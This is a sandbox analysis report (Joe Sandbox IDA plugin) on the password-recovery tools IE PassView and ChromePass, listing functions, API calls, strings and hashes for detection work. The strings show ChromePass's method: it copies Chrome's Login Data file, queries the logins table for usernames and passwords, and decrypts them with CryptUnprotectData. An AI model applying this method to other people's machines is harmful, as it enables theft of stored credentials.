Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: Library$AddressFreeLoadProc_mbscpy
String ID: CryptUnprotectData$s!@
API String ID: 1197458902-1069634633
Opcode ID: 8915081f3bdc83493648566d05fa38e6f61e27e7050aa0aaebedd2f7e7695979
Instruction ID: b43d03ea36532b2251421e96c6422d4be167c69b69b272a6b3e18bd6c711dbf8
Opcode Fuzzy Hash: 8915081f3bdc83493648566d05fa38e6f61e27e7050aa0aaebedd2f7e7695979
Instruction Fuzzy Hash: 33E09A316057418ED3259F3EA400146BBE4AFA93007108C7FE0E9E3682E3B8A1888B48

Function 004077E7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00407681: GetModuleHandleA.KERNEL32(?,004075F3,00000006,?,?,<html><head>%s<title>%s</title></head><body>%s <h3>%s</h3>,004027DA,IE PassView), ref: 0040768B

LoadMenuA.USER32(00000000), ref: 004077EF
sprintf.MSVCRT ref: 00407812

Part of subcall function 00407692: GetMenuItemCount.USER32(?), ref: 004076A8
Part of subcall function 00407692: memset.MSVCRT ref: 004076CC
Part of subcall function 00407692: GetMenuItemInfoA.USER32(?), ref: 00407702
Part of subcall function 00407692: memset.MSVCRT ref: 0040772F
Part of subcall function 00407692: strchr.MSVCRT ref: 0040773B
Part of subcall function 00407692: _mbscat.MSVCRT ref: 00407796
Part of subcall function 00407692: ModifyMenuA.USER32(?,?,00000400,?,?), ref: 004077B2

Strings

menu_%d, xrefs: 00407808

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: Menu$Itemmemset$CountHandleInfoLoadModifyModule_mbscatsprintfstrchr
String ID: menu_%d
API String ID: 4172168873-2417748251
Opcode ID: e08113b4f4dec7348a4a6fc84922e34cdf80e249ac662aab87a7d9f07f746284
Instruction ID: ed01b0685e68dfe62216100cf5cd09ec08e200f8416e5a7f6d04a15b753ff6f9
Opcode Fuzzy Hash: e08113b4f4dec7348a4a6fc84922e34cdf80e249ac662aab87a7d9f07f746284
Instruction Fuzzy Hash: 5BD0C231E4411036DA20772AAD4EF8B2C195BC2765F14467FF100B50D2D7FD50A682AF

Function 00407F76 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0040576E: GetModuleFileNameA.KERNEL32(00000000,?,00000104,00405786,?,0040251E,?,00000000,00000104), ref: 00405779

strrchr.MSVCRT ref: 00407F7F
_mbscat.MSVCRT ref: 00407F94

Strings

_lng.ini, xrefs: 00407F8E

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: FileModuleName_mbscatstrrchr
String ID: _lng.ini
API String ID: 3334749609-1948609170
Opcode ID: d474001b8c86a43bcc698c6d163b9548e9ae5c4590142ad4a842e8331724842e
Instruction ID: a1e3aa308b82fc5673dd92debc305a3ebfc9ae380083a4930ba50b3689042e33
Opcode Fuzzy Hash: d474001b8c86a43bcc698c6d163b9548e9ae5c4590142ad4a842e8331724842e
Instruction Fuzzy Hash: AFC0801194965014E12632321E03B4F01494F13314F34047BFC00351C7DFFE655540BF

Function 00408104 Relevance: 5.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

Part of subcall function 00405B39: memset.MSVCRT ref: 00405B47

??2@YAPAXI@Z.MSVCRT(00000014,00000000,?,00000000,00402879,?,0040B6F7,?,?,?,00000000,0040BA1D), ref: 0040811E
??2@YAPAXI@Z.MSVCRT(00000014,?,00000000,00402879,?,0040B6F7,?,?,?,00000000,0040BA1D), ref: 00408145
??2@YAPAXI@Z.MSVCRT(00000014,?,00000000,00402879,?,0040B6F7,?,?,?,00000000,0040BA1D), ref: 00408166
??2@YAPAXI@Z.MSVCRT(00000014,?,00000000,00402879,?,0040B6F7,?,?,?,00000000,0040BA1D), ref: 00408187

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: ??2@$memset
String ID:
API String ID: 1860491036-0
Opcode ID: 76163ed7dae31f195b1dd4358d4c6b7beabcde7d5895f71dd40c0dd104b5668d
Instruction ID: 975eb5f541548b53aa2b2683ab10cc57e713382b47fe4237ca15f91c7a93a1f7
Opcode Fuzzy Hash: 76163ed7dae31f195b1dd4358d4c6b7beabcde7d5895f71dd40c0dd104b5668d
Instruction Fuzzy Hash: 8B21C4B0A017008ED7119F6A8985912FAE4FF90311B2AC8AFD589DF2B2D7B8D805DF15

Function 00405F98 Relevance: 5.1, APIs: 4, Instructions: 65stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00405FA9

Part of subcall function 00405708: malloc.MSVCRT ref: 00405724
Part of subcall function 00405708: memcpy.MSVCRT(00000000,00000000,?,00000000,?,0040295B,00000001,?,?,00000000,00401BF3,?), ref: 0040573C
Part of subcall function 00405708: free.MSVCRT ref: 00405745

free.MSVCRT ref: 00405FCC
free.MSVCRT ref: 00405FEF
memcpy.MSVCRT(00000002,004069FD,000000FF,?,00000001,00000000,?,00406058,00000000,00000000,004069FD), ref: 0040600F

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: free$memcpy$mallocstrlen
String ID:
API String ID: 3669619086-0
Opcode ID: d0548e40a4bde75448c6d029b042ce7427e62ca5b2dff442f528b2f56d8fedb0
Instruction ID: c59032f8cc353ebac638978e1c106deb410c7d9e303b29f677ad7929833933cc
Opcode Fuzzy Hash: d0548e40a4bde75448c6d029b042ce7427e62ca5b2dff442f528b2f56d8fedb0
Instruction Fuzzy Hash: F4216D71204A05DFC730EF18D880996B7FAEF44324B108A2EF865ABAD1C739B9198B55

Function 0040749E Relevance: 5.0, APIs: 4, Instructions: 36COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00008000,0040752E,004027DA,IE PassView), ref: 004074C6
??2@YAPAXI@Z.MSVCRT(00000000,00008000,0040752E,004027DA,IE PassView), ref: 004074E4
??2@YAPAXI@Z.MSVCRT(00000000,00000000,00008000,0040752E,004027DA,IE PassView), ref: 00407502
??2@YAPAXI@Z.MSVCRT(00000000,00000000,00008000,0040752E,004027DA,IE PassView), ref: 00407512

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: d599127abd47b856bbc0423ba27791b299d38375ce06d93440a2571d77ceda39
Instruction ID: 5c6c35779c63f8cfc2dd024f26b4d0c78e317132225820d7cc514954e4d0415a
Opcode Fuzzy Hash: d599127abd47b856bbc0423ba27791b299d38375ce06d93440a2571d77ceda39
Instruction Fuzzy Hash: B2F062B09512009FE748DB75EE467A53AA0A708304F00C03EA146CB2F1EBF454689F0C

Analysis Process: ChromePass.exePID: 8164, Parent PID: 7372COMMON

Execution Graph

Execution Coverage:	6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0.1%
Total number of Nodes:	1302
Total number of Limit Nodes:	94

Executed Functions

Function 00409720 Relevance: 42.2, APIs: 21, Strings: 3, Instructions: 168
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004033D0: LoadLibraryW.KERNEL32(comctl32.dll), ref: 004033EF
Part of subcall function 004033D0: GetProcAddress.KERNEL32(00000000,InitCommonControlsEx), ref: 00403401
Part of subcall function 004033D0: FreeLibrary.KERNEL32(00000000), ref: 00403415
Part of subcall function 004033D0: MessageBoxW.USER32(00000001,Error: Cannot load the common control classes.,Error,00000030), ref: 00403440

SetErrorMode.KERNELBASE(00008001), ref: 00409748
GetModuleHandleW.KERNEL32(00000000,0040A8CF,00000000), ref: 00409761
EnumResourceTypesW.KERNEL32(00000000), ref: 00409768
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,/deleteregkey,/savelangfile), ref: 004097FE
DeleteObject.GDI32(?), ref: 00409818

Strings

, xrefs: 0040979A
/savelangfile, xrefs: 004097D2
/deleteregkey, xrefs: 00409836

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: Library$??3@AddressDeleteEnumErrorFreeHandleLoadMessageModeModuleObjectProcResourceTypes
String ID: $/deleteregkey$/savelangfile
API String ID: 3591293073-28296030
Opcode ID: 35b8df080bc2080e27bc36b60c2643d49e0eaed20a2b05d61420e0365af72530
Instruction ID: ed94949e07262d2860e77650e53181bcd1e3b97a6f049840a4915c6ce7c1fc3d
Opcode Fuzzy Hash: 35b8df080bc2080e27bc36b60c2643d49e0eaed20a2b05d61420e0365af72530
Instruction Fuzzy Hash: 526190B1508342DBC720AFA2DC49A5FBBE9FF84304F40493EF585A2262DB758915CF5A

Function 00401922 Relevance: 33.5, APIs: 15, Strings: 4, Instructions: 292
filelibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00401948
CreateFileW.KERNELBASE(?,80000000,00000000,00000000,00000003,00000000,00000000), ref: 0040195F
CopyFileW.KERNEL32(?,?,00000000), ref: 00401982

Part of subcall function 00405422: MultiByteToWideChar.KERNEL32(00000000,00000000,00401AC1,000000FF,?,?,00401AC1,?,?,000003FF), ref: 00405434

Part of subcall function 004165AD: RtlLeaveCriticalSection.NTDLL(?), ref: 004165C9

CloseHandle.KERNELBASE(00000000), ref: 0040198B
memset.MSVCRT ref: 004019BB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,00000104,00000000,00000000), ref: 004019D2
memset.MSVCRT ref: 00401A3E

Part of subcall function 00404B38: GetTempPathW.KERNEL32(00000104,?), ref: 00404B4F
Part of subcall function 00404B38: GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 00404B61
Part of subcall function 00404B38: GetTempFileNameW.KERNEL32(?,0040197A,00000000,?), ref: 00404B78

LoadLibraryW.KERNEL32(crypt32.dll), ref: 00401B85
GetProcAddress.KERNEL32(00000000,CryptUnprotectData), ref: 00401B9A
FreeLibrary.KERNEL32(00000000), ref: 00401BCD
memset.MSVCRT ref: 00401C19
memcpy.MSVCRT(?,00000000,00000000,000000FF,00000414,00000000), ref: 00401C2C
MultiByteToWideChar.KERNEL32 ref: 00401C51
LocalFree.KERNEL32(00000000), ref: 00401C5A
DeleteFileW.KERNEL32(?), ref: 00401CA1

Part of subcall function 0040315B: memcmp.MSVCRT(?,00000414,00000005,00000000,00000000,000000FF), ref: 00403198
Part of subcall function 0040315B: memset.MSVCRT ref: 004031B9
Part of subcall function 0040315B: memset.MSVCRT ref: 004031D5
Part of subcall function 0040315B: memset.MSVCRT ref: 0040320E
Part of subcall function 0040315B: memset.MSVCRT ref: 0040322A

Strings

crypt32.dll, xrefs: 00401B80
chp, xrefs: 0040196A
SELECT origin_url, action_url, username_element, username_value, password_element, password_value, signon_realm, date_created from logins , xrefs: 00401A02
CryptUnprotectData, xrefs: 00401B94

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: memset$File$ByteCharMultiWide$FreeLibraryTemp$AddressCloseCopyCreateCriticalDeleteDirectoryHandleLeaveLoadLocalNamePathProcSectionWindowsmemcmpmemcpy
String ID: CryptUnprotectData$SELECT origin_url, action_url, username_element, username_value, password_element, password_value, signon_realm, date_created from logins $chp$crypt32.dll
API String ID: 3739329394-3935444698
Opcode ID: 492ea2985a48da43712046777eb980aa399b26ce661c150a15ad42de6d304c3c
Instruction ID: 37b8e6ad1c2f444f68e26bcb06950449ee6f7690af2a1aeb5c6f76d6147c7710
Opcode Fuzzy Hash: 492ea2985a48da43712046777eb980aa399b26ce661c150a15ad42de6d304c3c
Instruction Fuzzy Hash: 52A1A272900218AFDB10ABA4DC85FEE7779EF04318F50457AF914F7291EB389E848B59

Function 0042AE90 Relevance: 18.1, APIs: 12, Instructions: 134
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(00000000,0042C430,00000070), ref: 0042AE9F
__set_app_type.MSVCRT ref: 0042AEFE
__p__fmode.MSVCRT ref: 0042AF13
__p__commode.MSVCRT ref: 0042AF21
__setusermatherr.MSVCRT ref: 0042AF4D
_initterm.MSVCRT ref: 0042AF63
__wgetmainargs.MSVCRT ref: 0042AF86
_initterm.MSVCRT ref: 0042AF99
GetStartupInfoW.KERNEL32(?), ref: 0042AFF6
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 0042B01C
exit.KERNELBASE ref: 0042B033
_cexit.MSVCRT ref: 0042B039

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: HandleModule_initterm$InfoStartup__p__commode__p__fmode__set_app_type__setusermatherr__wgetmainargs_cexitexit
String ID:
API String ID: 2827331108-0
Opcode ID: e0751aec1486ceef8b5882055fc93caa6edd968f6601c79cd871996c5dd874b0
Instruction ID: 601f2f4c144d1a6f5b028c6b48ba5c4040d8dd7e292e416d485a145d7e2d090f
Opcode Fuzzy Hash: e0751aec1486ceef8b5882055fc93caa6edd968f6601c79cd871996c5dd874b0
Instruction Fuzzy Hash: 4B519071E40225DBCB35EFA4E9849AE77B0FB44310FA1452BE86197291D73C4983CB9E

Function 0040212B Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 107
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00402153
_snwprintf.MSVCRT ref: 00402171
memset.MSVCRT ref: 00402182
wcslen.MSVCRT ref: 0040218D
wcslen.MSVCRT ref: 0040219D
_snwprintf.MSVCRT ref: 004021FE
wcslen.MSVCRT ref: 00402206
wcslen.MSVCRT ref: 00402218

Part of subcall function 00404D63: wcscpy.MSVCRT ref: 00404D6B
Part of subcall function 00404D63: wcscat.MSVCRT ref: 00404D7A

Strings

%s\User Data\Default\Web Data, xrefs: 00402163
%s\User Data\Default\Login Data, xrefs: 004021F7

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: wcslen$_snwprintfmemset$wcscatwcscpy
String ID: %s\User Data\Default\Login Data$%s\User Data\Default\Web Data
API String ID: 798694999-429399637
Opcode ID: 45261314242161afbbebf0664bc0bb71ab186811fdfce6921e4fb762442c369c
Instruction ID: 2ae69603a04c5ddda3a347a726102e89345d5e74ea1ed18f83a6d4f8f798cee6
Opcode Fuzzy Hash: 45261314242161afbbebf0664bc0bb71ab186811fdfce6921e4fb762442c369c
Instruction Fuzzy Hash: B331A0725182096BC720EFA5EC89D9B73EDEF84318F54093FF914D2091EB38D618875A

Function 00408CC1 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 107
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00408CF2
GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00408D07
wcsrchr.MSVCRT ref: 00408D16
wcscat.MSVCRT ref: 00408D30

Strings

ShowInfoTip, xrefs: 00408DAA
ShowGridLines, xrefs: 00408D76
/external, xrefs: 00408DE1
.cfg, xrefs: 00408D2A
SaveFilterIndex, xrefs: 00408D90

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: FileModuleNamememsetwcscatwcsrchr
String ID: .cfg$/external$SaveFilterIndex$ShowGridLines$ShowInfoTip
API String ID: 776488737-70440992
Opcode ID: 9f0940807e79b34fa8acd1bb0c5ca660b4dc9a2855fd62aba484d8026d41d478
Instruction ID: eace5aa0097f5313b0bb8351d432f4c8056799947b8a36fbe208cfe9949a56c2
Opcode Fuzzy Hash: 9f0940807e79b34fa8acd1bb0c5ca660b4dc9a2855fd62aba484d8026d41d478
Instruction Fuzzy Hash: D041C7326502289BDB10EF50DC85FCA7379FF44714F4400BAE90CAB281D775AA94CF99

Function 0040EB21 Relevance: 13.8, APIs: 8, Strings: 1, Instructions: 287
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040B0A5: malloc.MSVCRT ref: 0040B0F0
Part of subcall function 0040B0A5: malloc.MSVCRT ref: 0040B104
Part of subcall function 0040B0A5: RtlLeaveCriticalSection.NTDLL(0043551C), ref: 0040B15B

strlen.MSVCRT ref: 0040EBA8
strlen.MSVCRT ref: 0040EBDE

Part of subcall function 0040B358: memset.MSVCRT ref: 0040B371

memcpy.MSVCRT(?,000007D0,00000001,?,?,?,?,?,?,?,?,?,00410C24,00000000,00000000,0042AC9A), ref: 0040EC5C
memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00410C24), ref: 0040EC74
memcpy.MSVCRT(?,?,00000001), ref: 0040ED34
strlen.MSVCRT ref: 0040ED3F
memcpy.MSVCRT(?,?,00000000), ref: 0040ED6D
memcpy.MSVCRT(?,-journal,00000009), ref: 0040ED82

Strings

-journal, xrefs: 0040ED7C

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: memcpy$strlen$malloc$CriticalLeaveSectionmemset
String ID: -journal
API String ID: 1510558235-1536856285
Opcode ID: fbb199ba0ef64d3f97f9b5421cca5cc1d61e37d92d1b1f551cda37044c5f7e6e
Instruction ID: 1732a50d433f44b5b02993768ac65b073ba47fe387846747f47436a70ea83e0f
Opcode Fuzzy Hash: fbb199ba0ef64d3f97f9b5421cca5cc1d61e37d92d1b1f551cda37044c5f7e6e
Instruction Fuzzy Hash: F7B1E371A0460AAFDB14DF6AC840AAABBB4FF44304F14443FE415E7791D738E920CB99

Function 0040D402 Relevance: 13.6, APIs: 9, Instructions: 68
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(00000000), ref: 0040D433
GetFileAttributesW.KERNELBASE(00000000), ref: 0040D456
free.MSVCRT ref: 0040D494

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: File$AttributesDeletefree
String ID:
API String ID: 899649792-0
Opcode ID: 21823efabf6285c37c58730a3fdeb471495d32440ef08df67c571e7b1c4d548c
Instruction ID: d5d8acf5ea5555f551e5f5386180507f99cb375a4ad394c8bf74bc31f1c79b69
Opcode Fuzzy Hash: 21823efabf6285c37c58730a3fdeb471495d32440ef08df67c571e7b1c4d548c
Instruction Fuzzy Hash: 6A11A331A057119BD210AFE5ECC5A7E73A5EF41329F500A36F612E61D0CB38AC0A465E

Function 0042182F Relevance: 12.3, APIs: 1, Strings: 7, Instructions: 253
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

SELECT name, rootpage, sql FROM '%q'.%s, xrefs: 00421A76
sqlite_master, xrefs: 0042184F, 00421891, 00421A6C
unsupported file format, xrefs: 00421A3F
BINARY, xrefs: 00421991
unknown error, xrefs: 004218FF, 00421905, 00421955
attached databases must use the same text encoding as main database, xrefs: 004219B0
CREATE TABLE sqlite_master( type text, name text, tbl_name text, rootpage integer, sql text), xrefs: 0042185F

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID:
String ID: BINARY$CREATE TABLE sqlite_master( type text, name text, tbl_name text, rootpage integer, sql text)$SELECT name, rootpage, sql FROM '%q'.%s$attached databases must use the same text encoding as main database$sqlite_master$unknown error$unsupported file format
API String ID: 0-396201868
Opcode ID: 0dbd58db18a303ede070059acf98b40a1b07f1af334670792e97db6cd46daae2
Instruction ID: 262f377a753724a7193ef86df1f6d7a84022e52c7a7eaf545041a9d1d484f6cd
Opcode Fuzzy Hash: 0dbd58db18a303ede070059acf98b40a1b07f1af334670792e97db6cd46daae2
Instruction Fuzzy Hash: 17A1D470B00254EFDB14CF95E880AAEBBF5EF55304F64806BE401AB362D778DA81CB19

Function 004213A0 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 220
